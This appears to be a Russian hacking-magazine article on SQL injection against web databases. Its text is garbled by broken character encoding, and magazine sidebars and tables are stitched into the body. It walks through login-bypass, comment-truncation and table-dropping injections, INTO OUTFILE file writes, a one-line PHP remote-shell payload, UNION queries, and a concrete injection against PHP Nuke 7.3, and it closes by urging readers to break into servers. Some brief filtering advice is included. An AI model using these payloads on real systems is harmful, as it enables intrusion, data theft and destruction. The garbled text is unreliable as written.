àóòåíòèôèêàöèè, ðàçðàáîòàííûå íå-
ïîñðåäñòâåííî ñàìèì Web-ìàñòåðîì è
ïåðåäàþùèå ïàðîëü â îòêðûòîì âèäå.
Êàê ñëåäñòâèå, îí ìîæåò áûòü ëåãêî
ïåðåõâà÷åí çëîóìûøëåííèêîì, çàá-
ðîñèâøèì íà îäíó èç ìàøèí âíóòðåí-
íåé ñåòè èëè DMZ-çîíû ñíèôåð èëè
ñîçäàâøèì òî÷íóþ êîïèþ àòàêóåìîãî
Web-ñåðâåðà, äëÿ çàìàíèâàíèÿ äîâåð-
÷èâûõ ïîëüçîâàòåëåé � òîãäà ëîãèí è
ïàðîëü îíè ââåäóò ñàìè.

Ìíîãèå ñåðâåðà õðàíÿò èíôîðìà-
öèþ îá àâòîðèçàöèè â êóêèñàõ
(cookie), íàõîäÿùèõñÿ íà ìàøèíàõ
óäàëåííûõ ïîëüçîâàòåëåé, è, âìåñ-
òî òîãî ÷òîáû ëîìèòüñÿ íà õîðîøî
çàùèùåííûé êîðïîðàòèâíûé ñåð-
âåð, âçëîìùèê ìîæåò àòàêîâàòü íè-
êåì íå îõðàíÿåìûå êëèåíòñêèå óç-
ëû. Ãëàâíàÿ òðóäíîñòü çàêëþ÷àåòñÿ
â òîì, ÷òî èõ ñåòåâûå êîîðäèíàòû
íàïåðåä íåèçâåñòíû è àòàêóþùåìó
ïðèõîäèòñÿ òûêàòüñÿ âñëåïóþ.
Îáû÷íî ýòà ïðîáëåìà ðåøàåòñÿ
ìàññèðîâàííîé ðàññûëêîé ïî÷òîâîé
êîððåñïîíäåíöèè ñ òðîÿíèçèðîâàí-
íûì âëîæåíèåì âíóòðè ïî ìíîãèì
àäðåñàì � åñëè ïîâåçåò, òî ñðåäè
ïîëüçîâàòåëåé, äîâåð÷èâî çàïóñ-
òèâøèõ òðîÿíà, îêàæåòñÿ õîòÿ áû
îäèí êîðïîðàòèâíûé êëèåíò. Íó à
èçâëå÷ü êóêè � óæå äåëî òåõíèêè.

Íåêîòîðûå ñåðâåðû áàç äàííûõ (â
÷àñòíîñòè, ðàííèå âåðñèè MS SQL),
àâòîìàòè÷åñêè óñòàíàâëèâàþò ïàðîëü
ïî óìîë÷àíèþ, ïðåäîñòàâëÿþùèé
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ïîëíûé äîñòóï ê áàçå è ïîçâîëÿþùèé
äåëàòü ñ íåé ÷òî óãîäíî (ó MS SQL
ýòîò ïàðîëü "sa").

ÍÀÂßÇÛÂÀÍÈÅ ÇÀÏÐÎÑÀ, 
ÈËÈ SQL-ÈÍÚÅÊÖÈß

Òèïè÷íûé ñöåíàðèé âçàèìîäåé-
ñòâèÿ ñ áàçîé äàííûõ âûãëÿäèò òàê:
ïîëüçîâàòåëü ââîäèò íåêîòîðóþ èí-
ôîðìàöèþ â ïîëÿ çàïðîñà, îòòóäà
åå èçâëåêàåò ñïåöèàëüíûé ñêðèïò è
ïðåîáðàçóåò â ñòðîêó çàïðîñà ê áà-

çå äàííûõ, ïåðåäàâàÿ ñåðâåðó åå íà
âûïîëíåíèå:

$result = mysql_db_query("database",
"select * from userTable

where login =
'$userLogin' and password =
�$userPassword' ");

Çäåñü $userlogin � ïåðåìåííàÿ, ñî-
äåðæàùàÿ èìÿ ïîëüçîâàòåëÿ, à
$userPassword � åãî ïàðîëü. Îáðàòè

âíèìàíèå, ÷òî îáå ïåðåìåííûå ðàçìå-
ùåíû âíóòðè òåêñòîâîé ñòðîêè, îêàéì-
ëåííîé êàâû÷êàìè. Ýòî íåîáû÷íî äëÿ
Ñè, íî òèïè÷íî äëÿ èíòåðïðåòèðóåìûõ
ÿçûêîâ âðîäå Perl è PHP. Ïîäîáíûé
ìåõàíèçì íàçûâàåòñÿ èíòåðïîëÿöèåé
ñòðîê è ïîçâîëÿåò àâòîìàòè÷åñêè
ïîäñòàâëÿòü âìåñòî ïåðåìåííîé åå
ôàêòè÷åñêîå çíà÷åíèå.

Äîïóñòèì, ïîëüçîâàòåëü ââåäåò
KPNC/passwd. Òîãäà ñòðîêà çàïðîñà
áóäåò âûãëÿäåòü òàê: "select * from
userTable where login = 'KPNC' and
password = 'passwd'". 

Åñëè òàêîé ëîãèí/ïàðîëü äåéñòâè-
òåëüíî ïðèñóòñòâóåò â áàçå, ôóíêöèÿ
ñîîáùàåò èäåíòèôèêàòîð ðåçóëüòà-
òà, â ïðîòèâíîì ñëó÷àå âîçâðàùàåò-
ñÿ FALSE.

Õî÷åøü âîéòè â ñèñòåìó ïîä èìåíåì
äðóãîãî ïîëüçîâàòåëÿ, çíàÿ åãî ëîãèí,
íî íå çíàÿ ïàðîëü? Âîñïîëüçóéñÿ
òåì, ÷òî ìåõàíèçì èíòåðïîëÿöèè ïîç-
âîëÿåò àòàêóþùåìó âîçäåéñòâîâàòü
íà ñòðîêó çàïðîñà, âèäîèçìåíÿÿ åå ïî
ñâîåìó óñìîòðåíèþ. Ïîñìîòðèì, ÷òî
ïðîèçîéäåò, åñëè âìåñòî ïàðîëÿ ââåñ-
òè ïîñëåäîâàòåëüíîñòü "fuck' or '1'=
'1" (áåç êàâû÷åê): "select * from
userTable where login = 'KPNC' and
password = 'fuck' or '1' = '1'". 

Ñìîòðè: êàâû÷êà, ñòîÿùàÿ ïîñëå
fuck, çàìêíóëà ïîëüçîâàòåëüñêèé ïà-
ðîëü, à âåñü ïîñëåäóþùèé ââîä ïî-
ïàë â ëîãè÷åñêîå âûðàæåíèå, íàâÿ-
çàííîå áàçå äàííûõ àòàêóþùèì. Ïîñ-
êîëüêó îäèí âñåãäà ðàâåí îäíîìó,
çàïðîñ áóäåò ñ÷èòàòüñÿ âûïîëíåííûì
ïðè ëþáîì ââåäåííîì ïàðîëå è SQL-
ñåðâåð âîçâðàòèò âñå-âñå-âñå çàïèñè
èç òàáëèöû (â òîì ÷èñëå è íå îòíîñÿ-
ùèåñÿ ê ëîãèíó KPNC)!

Ðàññìîòðèì äðóãîé ïðèìåð: "SELECT
* FROM userTable WHERE
msg='$msg' AND ID=669". 

Çäåñü msg � íîìåð ñîîáùåíèÿ,
èçâëåêàåìîãî èç áàçû, à ID � èäåí-
òèôèêàòîð ïîëüçîâàòåëÿ, àâòîìàòè-
÷åñêè ïîäñòàâëÿåìûé ñêðèïòîì â
ñòðîêó çàïðîñà è íåïîñðåäñòâåííî
íå ñâÿçàííûé ñ ïîëüçîâàòåëüñêèì
ââîäîì. Êîíñòàíòíàÿ ïåðåìåííàÿ èñ-
ïîëüçîâàíà ïî ñîîáðàæåíèÿì íàã-
ëÿäíîñòè, â êîíå÷íîì ñêðèïòå áóäåò,
ñêîðåå âñåãî, èñïîëüçîâàíà
êîíñòðóêöèÿ òèïà: ID='$userID'. ×òî-
áû ïîëó÷èòü äîñòóï ê îñòàëüíûì ïî-
ëÿì áàçû (à íå òîëüêî ê òåì, ÷åé ID
ðàâåí 669), íåîáõîäèìî îòñå÷ü ïîñ-
ëåäíåå ëîãè÷åñêîå óñëîâèå. Ýòî
ìîæíî ñäåëàòü, âíåäðèâ â ñòðîêó
ïîëüçîâàòåëüñêîãî ââîäà ñèìâîëû
êîììåíòàðèÿ ("--" è "/*" äëÿ MS SQL
è MySQL ñîîòâåòñòâåííî). Òåêñò,
ðàñïîëîæåííûé ïðàâåå ñèìâîëîâ
êîììåíòàðèÿ, èãíîðèðóåòñÿ. Åñëè
âìåñòî íîìåðà ñîîáùåíèÿ ââåñòè "1'
AND ID=666 --", ñòðîêà çàïðîñà
ïðèìåò ñëåäóþùèé âèä: "SELECT *
FROM userTable WHERE msg='1'
and ID= 666 --' AND ID=669" . 

Êàê ñëåäñòâèå, àòàêóþùèé ïîëó÷èò
âîçìîæíîñòü ñàìîñòîÿòåëüíî ôîð-
ìèðîâàòü ID, ÷èòàÿ ñîîáùåíèÿ, ïðåä-

65

Íîðìàëüíî ðàáîòàþùèé Web-ñåðâåð íèêîãäà íå âûäàåò èñõîä-
íûé êîä ñêðèïòà, à òîëüêî ðåçóëüòàò åãî ðàáîòû. Ìåæäó òåì, âåçäå-
ñóùèå îøèáêè ðåàëèçàöèè ïðèâîäÿò ê òîìó, ÷òî êîä ñêðèïòà â íå-
êîòîðûõ ñëó÷àÿõ âñå-òàêè ñòàíîâèòñÿ äîñòóïíûì, ïðè÷åì âèíîâíè-
êîì ìîæåò áûòü êàê ñåðâåð, òàê è îáðàáàòûâàåìûé èì ñêðèïò. Åñòå-
ñòâåííî, â ñêðèïòàõ îøèáêè âñòðå÷àþòñÿ íàìíîãî ÷àùå, ïîñêîëüêó
èõ ïèøóò âñå êîìó íå ëåíü, ïîðîé íå èìåÿ íèêàêîãî ïðåäñòàâëåíèÿ
î áåçîïàñíîñòè. Ñåðâåðû æå ïðîõîäÿò áîëåå èëè ìåíåå òùàòåëüíîå
òåñòèðîâàíèå, è îñíîâíûå äûðû îáíàðóæèâàþòñÿ åùå íà íà÷àëü-
íîé ñòàäèè.
Ïîäðîáíåå îá ýòîì ìîæíî ïðî÷èòàòü â ìîåé ñòàòüå "Áåçîïàñíîå
ïðîãðàììèðîâàíèå íà ÿçûêå Perl" (kpnc.opennet.ru/safe.perl.zip). 
Èññëåäóÿ òåëî ñêðèïòà, ìîæíî íàðûòü íåìàëî èíòåðåñíîãî, íàïðè-
ìåð, èìåíà ïîëåé, íàçâàíèÿ òàáëèö, ìàñòåð-ïàðîëè, õðàíÿùèåñÿ
îòêðûòûì òåêñòîì, è ò.ä.
�
if ($filename eq "passwd") #ïðîâåðêà èìåíè íà êîððåêòíîñòü
�
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Ïàðîëü ê ÁÄ, âûëîâëåííûé ñíèôåðîì

Ìíîãèå ñåð-
âåðà õðàíÿò
èíôîðìà-
öèþ îá àâ-
òîðèçàöèè â
êóêèñàõ
(cookie), íà-
õîäÿùèõñÿ
íà ìàøèíàõ
óäàëåííûõ
ïîëüçîâàòå-
ëåé. 

Ñåðâåð ÁÄ,
êàê è ëþáîé
äðóãîé ñåð-
âåð, ïîäâåð-
æåí îøèá-
êàì ïðîåê-
òèðîâàíèÿ,
ñðåäè êîòî-
ðûõ äîìè-
íèðóþò ïå-
ðåïîëíÿþ-
ùèåñÿ áó-
ôåðà.

Ðàçìåùàòü
ñåðâåð áàçû
äàííûõ íà
îäíîì óçëå
ñ Web-ñåð-
âåðîì êàòå-
ãîðè÷åñêè
íåäîïóñòè-
ìî íå òîëü-
êî ïî òåõ-
íè÷åñêèì,
íî è ïî
þðèäè÷åñ-
êèì ñîîáðà-
æåíèÿì.

Èíñòðóìåíòàðèé äëÿ íàáëþäåíèé çà SQL



íàçíà÷åííûå ñîâñåì äëÿ äðóãèõ
ïîëüçîâàòåëåé.

Ïðè÷åì îäíèì ëèøü âèäîèçìåíåíè-
åì ïîëåé SELECT'à äåëî íå îãðàíèâà-
åòñÿ, è ñóùåñòâóåò óãðîçà ïðîðûâà çà
åãî ïðåäåëû. Íåêîòîðûå SQL-ñåðâåðà
ïîääåðæèâàþò âîçìîæíîñòü çàäàíèÿ
íåñêîëüêèõ êîìàíä â îäíîé ñòðîêå,
ðàçäåëÿÿ èõ çíàêîì ";", ÷òî ïîçâîëÿ-
åò àòàêóþùåìó âûïîëíèòü ëþáûå
SQL-êîìàíäû, êàêèå åìó òîëüêî çàá-
ëàãîðàññóäèòñÿ. Íàïðèìåð, ïîñëåäî-
âàòåëüíîñòü " '; DROP TABLE
'userTable' --", ââåäåííàÿ â êà÷åñòâå
èìåíè ïîëüçîâàòåëÿ èëè ïàðîëÿ, óäà-
ëÿåò âñþ userTable!

Åùå àòàêóþùèé ìîæåò ñîõðàíÿòü
÷àñòü òàáëèöû â ôàéë, ïîäñîâûâàÿ
áàçå äàííûõ çàïðîñ òèïà "SELECT *
FROM userTable INTO OUTFILE
'FileName'". Ñîîòâåòñòâóþùèé åìó
URL óÿçâèìîãî ñêðèïòà ìîæåò âûãëÿ-
äåòü, íàïðèìåð, òàê:
www.victim.com/admin.php?op=login&
pwd=123&aid=Admin'%20INTO%20OU
TFILE%20'/path_to_file/pwd.txt, ãäå
path_to_file � ïóòü ê ôàéëó pwd.txt, â
êîòîðûé áóäåò çàïèñàí àäìèíîâñêèé
ïàðîëü. Óäîáíîå ñðåäñòâî äëÿ ïîõè-
ùåíèÿ äàííûõ, íå òàê ëè? Ãëàâíîå �
ðàçìåñèòü ôàéë â òàêîì ìåñòå, îòêó-
äà åãî ïîòîì áóäåò ìîæíî áåñïðåïÿò-
ñòâåííî óòÿíóòü, íàïðèìåð, â îäíîì
èç ïóáëè÷íûõ WWW-êàòàëîãîâ. Òîãäà
ïîëíûé ïóòü ê ôàéëó äîëæåí âûãëÿ-
äåòü ïðèáëèçèòåëüíî êàê:
"../../../../WWW/myfile.txt" (òî÷íàÿ
ôîðìà çàïðîñà çàâèñèò îò êîíôèãó-
ðàöèè ñåðâåðà). Íî ýòî åùå òîëüêî
öâåòî÷êè! Âîçìîæíîñòü ñîçäàíèÿ
ôàéëîâ íà ñåðâåðå ïîçâîëÿåò çàñû-
ëàòü íà àòàêóåìóþ ìàøèíó ñîáñòâåí-
íûå ñêðèïòû (íàïðèìåð, ñêðèïò, äàþ-
ùèé óäàëåííûé shell � "<?
passthru($cmd) ?>"). Åñòåñòâåííî,
ìàêñèìàëüíûé ðàçìåð ñêðèïòà îãðà-
íè÷åí ïðåäåëüíî äîïóñòèìîé äëèíîé
ôîðìû ïîëüçîâàòåëüñêîãî ââîäà, íî
ýòî îãðàíè÷åíèå çà÷àñòóþ óäàåòñÿ
îáîéòè ðó÷íûì ôîðìèðîâàíèåì çàï-
ðîñà â URL èëè èñïîëüçîâàíèåì
SQL-êîìàíäû INSERT INTO, äîáàâëÿ-
þùåé íîâûå çàïèñè â òàáëèöó.

Ñêîððåêòèðîâàííûé URL-çàïðîñ ìî-
æåò áûòü òàêèì:
http://www.victim.com/index.php?id=12'
èëè òàêèì:
http://www.victim.com/index.php?id=12+u
nion+select+null,null,null+from+table1 /*.

Ïîñëåäíèé çàïðîñ ðàáîòàåò òîëü-
êî íà MySQL âåðñèè 4.õ è âûøå,
ïîääåðæèâàþùåé union (îáúåäèíå-
íèå íåñêîëüêèõ çàïðîñîâ â îäíîé

ñòðîêå). Çäåñü table1 � èìÿ òàáëèöû,
ñîäåðæèìîå êîòîðîé íåîáõîäèìî
âûâåñòè íà ýêðàí.

Àòàêè ïîäîáíîãî òèïà íàçûâàþòñÿ
SQL-èíúåêöèÿìè (SQL-injection) è ÿâ-
ëÿþòñÿ ÷àñòíûì ñëó÷àåì àòàê, îñíî-
âàííûõ íà îøèáêàõ ôèëüòðàöèè è èí-
òåðïîëÿöèè ñòðîê. Ìû ñëîâíî âïðûñ-
êèâàåì â ôîðìó çàïðîñà ê áàçå äàí-
íûõ ñîáñòâåííóþ êîìàíäó, ïðîêàëû-
âàÿ õàêåðñêîé èãëîé òåëî óÿçâèìîãî
ñêðèïòà (îòñþäà è "èíúåêöèè"). Ýòî íå
îøèáêà SQL-ñåðâåðà (êàê ÷àñòî ïðè-
íÿòî ñ÷èòàòü). Ýòî � îøèáêà ðàçðà-
áîò÷èêîâ ñêðèïòà. Ãðàìîòíî ñïðîåêòè-
ðîâàííûé ñêðèïò äîëæåí ïðîâåðÿòü
ïîëüçîâàòåëüñêèé ââîä íà ïðåäìåò

ïðèñóòñòâèÿ ïîòåíöèàëüíî îïàñíûõ
ñèìâîëîâ (îäèíî÷íàÿ êàâû÷êà, òî÷êà
ñ çàïÿòîé, äâîéíîå òèðå, à äëÿ MySQL
åùå è ñèìâîë çâåçäî÷êè) âêëþ÷àÿ è
èõ øåñòíàäöàòåðè÷íûå ýêâèâàëåíòû,
çàäàâàåìûå ÷åðåç ïðåôèêñ "%", à
èìåííî: %27, %2A è %3B. Åñëè õîòÿ
áû îäíî èç óñëîâèé ôèëüòðàöèè íå
ïðîâåðÿåòñÿ èëè ïðîâåðÿåòñÿ íå âåç-
äå (íàïðèìåð, îñòàþòñÿ íå îòôèëüòðî-
âàííûìè ñòðîêè URL èëè cookie), â
ñêðèïòå îáðàçóåòñÿ äûðà, ÷åðåç êîòî-
ðóþ åãî ìîæíî àòàêîâàòü.

Âïðî÷åì, ñäåëàòü ýòî áóäåò íå òàê
óæ è ïðîñòî. Íåîáõîäèìî èìåòü îïûò
ïðîãðàììèðîâàíèÿ íà Perl/PHP è
çíàòü, êàê ìîæåò âûãëÿäåòü òà èëè
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Çàïðîñû,
ïåðåäàâàå-
ìûå ìåòî-
äîì POST,
ïðîòåñòèðî-
âàíû çíà÷è-
òåëüíî õó-
æå, ïîñ-
êîëüêó ïå-
ðåäàþòñÿ
ñêðûòî îò
ïîëüçîâàòå-
ëÿ è íå ìî-
ãóò áûòü
ìîäèôèöè-
ðîâàíû èç
áðàóçåðà.

ÁÀÇÀ ÄÀÍÍÛÕ ÏÎÄ ÏÐÈÖÅËÎÌ66 ÂÇËÎÌ

Ïðåæäå ÷åì íà÷è-
íàòü àòàêó íà SQL-
ñåðâåð, íåïëîõî áû
îïðåäåëèòü åãî ïðè-
ñóòñòâèå, à â èäåàëå
� åùå è ðàñïîçíàòü
òèï. Åñëè ñåðâåð
ðàñïîëîæåí âíóòðè
DMZ (ãäå åìó íàõî-
äèòüñÿ íè â êîåì
ñëó÷àå íåëüçÿ), òî
àòàêóþùåìó äîñòà-
òî÷íî ïðîñêàíèðî-
âàòü ïîðòû.

ÎÏÐÅÄÅËÅÍÈÅ ÍÀËÈ×Èß SQL

Ïîðòû, ïðîñëóøèâàåìûå ðàçëè÷íûìè ñåðâåðàìè ÁÄ

Ñåðâåð MySQL, ïðîñëóøèâàþùèé 3306 ïîðò

Êîãäà ðó÷íîé ïîèñê äûð íàäîåäàåò, âçëîìùèêè, â ñåðäöàõ îáëî-
æèâ âñåõ Web-ïðîãðàììèñòîâ ñìà÷íûì ìàòîì, çàïóñêàþò ñâîå ñðåä-
ñòâî àâòîìàòè÷åñêîãî ïîèñêà óÿçâèìîñòåé è èäóò íà ïåðåêóð.

Îäíèì èç òàêèõ ñðåäñòâ ÿâëÿåòñÿ Security Scanner, ðàçðàáîòàííûé
êîìïàíèåé Application Security è îôèöèàëüíî ïðåäíàçíà÷åííûé
äëÿ òåñòèðîâàíèÿ MySQL íà ñòîéêîñòü ê âçëîìó. Íó, õàêåðàì îôè-
öèîç íå ãðîçèò. Êàê è âñÿêîå îðóæèå, Security Scanner ìîæåò èñ-
ïîëüçîâàòüñÿ è âî âðåä, è âî áëàãî.

Îí ïîçâîëÿåò èñêàòü äûðû êàê â ñàìîì ñåðâåðå ÁÄ, òàê è â Web-
ñêðèïòàõ. Ïðè ýòîì ÁÄ ïðîâåðÿòñÿ íà ïðåäìåò óÿçâèìîñòè ê àòàêàì
òèïà Denial of Service, íàëè÷èÿ ñëàáûõ ïàðîëåé, íåâåðíî ñêîíôèãó-
ðèðîâàííûõ ïðàâ äîñòóïà è ò.ä. Â ñêðèïòàõ ñêàíåð ïîçâîëÿåò îáíà-
ðóæèòü îøèáêè ôèëüòðàöèè ââîäà, äàþùèå âîçìîæíîñòü îñóùåñ-
òâëÿòü SQL-èíúåêöèè, ÷òî çíà÷èòåëüíî óïðîùàåò àòàêó.

ÏÐÎÒÈÂÎÄÅÉÑÒÂÈÅ ÂÒÎÐÆÅÍÈÞ

Ïî÷òè 30%
âñåõ ñêðèï-
òîâ â ñåòè
ïîäâåðæåíû
îøèáêå
SQL-èíúåê-
öèè.

Ôðàãìåíò PHP Nuke, îòâåòñòâåííûé çà ôîðìèðîâàíèå çàï-
ðîñà ê áàçå 

ïïîîððòò ññååððââååðð

1433 Microsoft-SQL-Server

1434 Microsoft-SQL-Monitor

1498 Watcom-SQL

1525 ORACLE

1527 ORACLE

1571 Oracle Remote Data Base

3306 MySQL



èíàÿ ôîðìà çàïðîñà è êàê ÷àùå âñå-
ãî èìåíóþòñÿ ïîëÿ òàáëèöû, â ïðî-
òèâíîì ñëó÷àå èíòåðïîëÿöèÿ íè ê
÷åìó íå ïðèâåäåò. Íåïîñðåäñòâåí-
íîé âîçìîæíîñòè îïðåäåëåíèÿ èìåí
ïîëåé è òàáëèö ó õàêåðà íåò, è åìó
ïðèõîäèòñÿ äåéñòâîâàòü ìåòîäîì
ñëåïîãî ïåðåáîðà (blinding).

Îäíàêî áîëüøèíñòâî àäìèíèñòðàòî-
ðîâ è Web-ìàñòåðîâ ñëèøêîì ëåíèâû,
÷òîáû ðàçðàáàòûâàòü âñå íåîáõîäè-
ìûå èì ñêðèïòû ñàìîñòîÿòåëüíî, è ÷à-
ùå îíè èñïîëüçóþò ãîòîâûå ðåøåíèÿ,
èñõîäíûå òåêñòû êîòîðûõ ñâîáîäíî
äîñòóïíû â ñåòè. Ïðè÷åì, áîëüøèí-
ñòâî ýòèõ ñêðèïòîâ äûðÿâû êàê âåäðî
áåç äíà. Âçÿòü, ê ïðèìåðó, òîò æå PHP
Nuke, â êîòîðîì îáíàðóæèâàþòñÿ âñå
íîâûå è íîâûå óÿçâèìîñòè.

Ïðèáëèçèòåëüíàÿ ñòðàòåãèÿ ïîèñêà
äûð âûãëÿäèò òàê. Ñêà÷èâàåì èñõîäíûå
òåêñòû PHP Nukå (èëè ëþáîé äðóãîé
ïîðòàëüíîé ñèñòåìû), óñòàíàâëèâàåì
èõ íà ñâîé ëîêàëüíûé êîìïüþòåð, ïðî-
õîäèìñÿ ãëîáàëüíûì ïîèñêîì ïî âñåì
ôàéëàì, îòêëàäûâàÿ â ñòîðîíêó âñå òå,
÷òî îáðàùàþòñÿ ê áàçå äàííûõ (âûçîâ
òèïà mysql_query/mysql_db_query èëè
òèïà òîãî). Äàëåå ïðîêðó÷èâàåì êóðñîð
ââåðõ è ñìîòðèì � ãäå-òî ïîáëèçîñòè
äîëæíà áûòü ðàñïîëîæåíà ñòðîêà çàï-
ðîñà ê áàçå (íàïðèìåð: $query =
"SELECT user_email, user_id FROM
${prefix}_users WHERE user_id = '$cook-
ie[0]'"). Îïðåäåëÿåì èìåíà ïåðåìåí-
íûõ, ïîäñòàâëÿåìûõ â áàçó, íàõîäèì
êîä, îòâåòñòâåííûé çà ïåðåäà÷ó ïàðà-
ìåòðîâ ïîëüçîâàòåëüñêîãî ââîäà è
àíàëèçèðóåì óñëîâèÿ ôèëüòðàöèè.

Â êà÷åñòâå íàãëÿäíîãî ïðèìåðà ðàñ-
ñìîòðèì îäíó èç óÿçâèìîñòåé PHP
Nuke 7.3, ñâÿçàííóþ ñ îáðàáîòêîé íî-
âîñòåé. Ñîîòâåòñòâóþùèé åé URL
âûãëÿäèò òàê:
modules.php?name=News&file=cate-
gories&op=newindex&catid=1. Ïî åãî
âíåøíåìó âèäó ìîæíî ïðåäïîëî-
æèòü, ÷òî çíà÷åíèå catid ïåðåäàåòñÿ
íåïîñðåäñòâåííî â ñòðîêå çàïðîñà ê
ÁÄ, è, åñëè ðàçðàáîò÷èê ñêðèïòà çà-
áûë î ôèëüòðàöèè, ó íàñ ïîÿâëÿåòñÿ
âîçìîæíîñòü ìîäèôèöèðîâàòü çàï-
ðîñ ïî ñâîåìó óñìîòðåíèþ. Äëÿ ïðî-
âåðêè ýòîãî ïðåäïîëîæåíèÿ çàìåíèì
catid ñ 1, äîïóñòèì, íà 669. Ñåðâåð íå-
ìåäëåííî îòîáðàçèò â îòâåò ïóñòîé
ýêðàí. Òåïåðü äîáàâèì ê íàøåìó URL
ñëåäóþùóþ êîíñòðóêöèþ "'or'1'1='1"
(ïîëíîñòüþ îí áóäåò âûãëÿäåòü òàê:
modules.php?name=News&file=cate-
gories&op=newindex&catid=669'or'1'='1)
. Ñåðâåð ïîñëóøíî îòîáðàçèò âñå íî-
âîñòíûå ñîîáùåíèÿ ðàçäåëà, ïîäòâå-
ðæäàÿ, ÷òî SQL-èíúåêöèÿ ñðàáîòàëà!

Åùå ìîæíî ïîïûòàòüñÿ âûçâàòü
îøèáêó SQL, ïîäñóíóâ åé çàâåäîìî
íåïðàâèëüíûé çàïðîñ (íàïðèìåð, ñèì-
âîë îäèíî÷íîé êàâû÷êè), è òîãäà îíà
ìîæåò ñîîáùèòü ìíîãî èíòåðåñíîãî. Îò-
ñóòñòâèå îøèáîê åùå íå îçíà÷àåò, ÷òî
ñêðèïò ôèëüòðóåò ïîëüçîâàòåëüñêèé
ââîä: áûòü ìîæåò, îí ïðîñòî ïåðåõâàòû-
âàåò ñîîáùåíèÿ îá îøèáêàõ, ÷òî ÿâëÿ-
åòñÿ íîðìàëüíîé ïðàêòèêîé ñåòåâîãî
ïðîãðàììèðîâàíèÿ. Òàêæå âîçìîæíà
ñèòóàöèÿ, êîãäà ïðè âîçíèêíîâåíèè
îøèáêè âîçâðàùàåòñÿ êîä îòâåòà 500
èëè ïðîèñõîäèò ïåðåàäðåñàöèÿ íà ãëàâ-

íóþ ñòðàíèöó. Ïîäîáíàÿ äâóñìûñëåí-
íîñòü ñèòóàöèè ñóùåñòâåííî çàòðóäíÿ-
åò ïîèñê óÿçâèìûõ ñåðâåðîâ, íî îòíþäü
íå äåëàåò åãî íåâîçìîæíûì!

Àíàëèç ïîêàçûâàåò, ÷òî îøèáêè
ôèëüòðàöèè âñòðå÷àþòñÿ â áîëüøîì
êîëè÷åñòâå ñêðèïòîâ (âêëþ÷àÿ êîì-
ìåð÷åñêèå), çà÷àñòóþ îñòàâàÿñü íå-
èñïðàâëåííûìè ãîäàìè. Åñòåñòâåííî,
äûðû â îñíîâíûõ ïîëÿõ ââîäà äàâ-
íûì-äàâíî çàòêíóòû, à ïîòîìó ðàññ÷è-
òûâàòü íà áûñòðûé óñïåõ óæå íå ïðè-
õîäèòñÿ. Çàïðîñû, ïåðåäàâàåìûå ìå-
òîäîì POST, ïðîòåñòèðîâàíû çíà÷è-
òåëüíî õóæå, ïîñêîëüêó ïåðåäàþòñÿ
ñêðûòî îò ïîëüçîâàòåëÿ è íå ìîãóò
áûòü ìîäèôèöèðîâàíû íåïîñðåä-
ñòâåííî èç áðàóçåðà, îòñåêàÿ àðìàäó
íà÷èíàþùèõ "õàêåðîâ". Ìåæäó òåì,
âçàèìîäåéñòâîâàòü ñ Web-ñåðâåðîì
ìîæíî è ïîñðåäñòâîì netcat (telnet),
ôîðìèðóÿ POST-çàïðîñû âðó÷íóþ.

ÇÀÊËÞ×ÅÍÈÅ
SQL-èíúåêöèè â î÷åðåäíîé ðàç

ïðîäåìîíñòðèðîâàëè ìèðó, ÷òî ïðîã-
ðàìì áåç îøèáîê íå áûâàåò. Îäíàêî
íå ñòîèò ïåðåîöåíèâàòü èõ çíà÷è-
ìîñòü. Ìàâð ñäåëàë ñâîå äåëî, ìàâð
ìîæåò óäàëèòüñÿ. Àäìèíèñòðàòîðû è
äåâåëîïåðû çíàþò îá îïàñíîñòè, è êî-
ëè÷åñòâî óÿçâèìûõ ñàéòîâ òàåò ñ êàæ-
äûì äíåì. Ðåàëüíóþ âëàñòü íàñ ñèñòå-
ìîé äàþò ëèøü ïðèíöèïèàëüíî íîâûå
ìåòîäèêè àòàê, íåèçâåñòíûå øèðîêîé
îáùåñòâåííîñòè. Íàéòè èõ - íàøà ñ òî-
áîé çàäà÷à. Îñâîáîäè ñâîé ðàçóì, ïå-
ðåøàãíè ãðàíü íåâåäîìîãî è çàéäè íà
ñåðâåð ñ òîé ñòîðîíû, ñ êîòîðîé íà íå-
ãî åùå íèêòî íå çàõîäèë. E
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Ïðèìåð ïðîãðàììû, îñóùåñòâëÿþùåé çàïðîñ â ÁÄ

SQL-èíúåêöèè ÷åðåç ñòðîêó URL

Îñíîâíûå êîìàíäû SQL

ÊÊîîììààííääàà ÍÍààççííàà÷÷ååííèèåå

CREATE TABLE ñîçäàíèå íîâîé òàáëèöû

DROP TABLE óäàëåíèå ñóùåñòâóþùåé òàáëèöû

INSERT INTO äîáàâëåíèå â òàáëèöó ïîëÿ ñ çàäàííûì çíà÷åíèåì

DELETE FROM �WHERE óäàëåíèå èç òàáëèöû âñåõ çàïèñåé, îòâå÷àþùèõ óñëîâèþ WHERE

SELECT * FROM � WHERE âûáîðêà èç áàçû âñåõ çàïèñåé, îòâå÷àþùèõ óñëîâèþ WHERE

UPDATE ... SET ... WHERE îáíîâëåíèå âñåõ ïîëåé áàçû, îòâå÷àþùèõ óñëîâèþ WHERE

Íèêèòà Êèñëèöèí, ðåäàêòîð ðóáðèêè "Âçëîì" æóðíàëà "Õàêåð":

«Áàçû äàííûõ âñåãäà áûëè ëàêîìûì êóñî÷êîì äëÿ õàêåðîâ. È â
ýòîì íåò íè÷åãî óäèâèòåëüíîãî: â íèõ ìîæíî íàéòè ìèëëèîíû íîìå-
ðîâ êðåäèòíûõ êàðò, ïàðîëè ê ñåòåâûì ðåñóðñàì, êîíôèäåíöèàëü-
íóþ èíôîðìàöèþ è äàæå ïëàíû òåððîðèñòè÷åñêèõ îðãàíèçàöèé ïî
çàõâàòó öèâèëèçîâàííîãî ìèðà. Óâû, ïîðîé àäìèíèñòðàòîðû ñåòå-
âûõ áàç äàííûõ íå óäåëÿþò äîëæíîãî âíèìàíèÿ áåçîïàñíîñòè, ÷àñ-
òî èõ ïîäâîäÿò è ïðîãðàììèñòû, ðàçðàáàòûâàþùèå ïðîãðàììíûå
èíòåðôåéñû. Ñëåäóåò çíàòü, ÷òî â áîëåå ÷åì ïîëîâèíå ñëó÷àåâ
âçëîìà SQL-ñåðâåðîâ èñïîëüçóåòñÿ òåõíîëîãèÿ SQL-èíúåêöèè â
ðàçíûõ åå ïðîÿâëåíèÿõ, òî åñòü ýòè ïðîáëåìû ëåæàò íà ñîâåñòè
Web-ïðîãðàììèñòîâ. Îäíàêî áûâàþò è âîâñå êîìè÷åñêèå ñëó÷àè. Çà
